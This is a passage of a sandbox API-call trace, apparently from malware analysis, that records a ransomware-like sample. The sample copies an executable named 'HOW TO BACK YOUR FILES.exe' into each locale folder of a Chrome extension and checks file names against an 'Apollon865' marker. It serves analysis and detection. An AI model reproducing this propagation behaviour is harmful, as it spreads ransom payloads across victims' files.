	[0047.779] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs"
	[0047.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5acd50 | out: hHeap=0x580000) returned 1
	[0047.779] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe48 | out: hHeap=0x580000) returned 1
	[0047.779] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs") returned 146
	[0047.779] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs"
	[0047.779] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.779] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.783] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.783] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\cs\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83419be0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x348ca630, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x348ca630, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.783] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.784] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.784] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.784] lstrlenW (lpString="messages.json") returned 13
	[0047.784] lstrlenW (lpString="Apollon865") returned 10
	[0047.784] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.784] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca"
	[0047.784] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5acc20 | out: hHeap=0x580000) returned 1
	[0047.784] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd28 | out: hHeap=0x580000) returned 1
	[0047.784] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca") returned 146
	[0047.784] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca"
	[0047.784] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.784] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.789] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.789] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ca\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340ffa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x348f0790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x348f0790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.789] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.789] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.789] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.789] lstrlenW (lpString="messages.json") returned 13
	[0047.789] lstrlenW (lpString="Apollon865") returned 10
	[0047.789] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.789] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn"
	[0047.789] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5acaf0 | out: hHeap=0x580000) returned 1
	[0047.789] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe28 | out: hHeap=0x580000) returned 1
	[0047.789] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn") returned 146
	[0047.789] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn"
	[0047.789] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.789] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.793] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.793] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bn\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8340b180, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x348f0790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x348f0790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.794] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.794] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.794] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.794] lstrlenW (lpString="messages.json") returned 13
	[0047.794] lstrlenW (lpString="Apollon865") returned 10
	[0047.794] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.794] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg"
	[0047.794] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ac9c0 | out: hHeap=0x580000) returned 1
	[0047.794] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe08 | out: hHeap=0x580000) returned 1
	[0047.794] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg") returned 146
	[0047.794] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg"
	[0047.794] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.794] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.799] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.799] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\bg\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83403c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x348f0790, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x348f0790, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.799] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.799] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.799] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.799] lstrlenW (lpString="messages.json") returned 13
	[0047.799] lstrlenW (lpString="Apollon865") returned 10
	[0047.799] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.799] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar"
	[0047.799] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ac890 | out: hHeap=0x580000) returned 1
	[0047.799] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0047.799] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar") returned 146
	[0047.799] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar"
	[0047.800] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.800] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.804] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.804] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ar\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833f7900, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x349168f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x349168f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.804] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.804] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.804] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.804] lstrlenW (lpString="messages.json") returned 13
	[0047.804] lstrlenW (lpString="Apollon865") returned 10
	[0047.804] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.804] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am"
	[0047.804] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ac760 | out: hHeap=0x580000) returned 1
	[0047.804] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0047.804] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am") returned 146
	[0047.804] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am"
	[0047.804] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.804] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.808] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.808] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\am\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x833e8ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x349168f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x349168f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0047.809] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.809] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.809] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.809] lstrlenW (lpString="messages.json") returned 13
	[0047.809] lstrlenW (lpString="Apollon865") returned 10
	[0047.809] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.809] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details"
	[0047.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ac620 | out: hHeap=0x580000) returned 1
	[0047.809] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0047.809] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details") returned 154
	[0047.809] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details"
	[0047.809] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.809] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.815] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
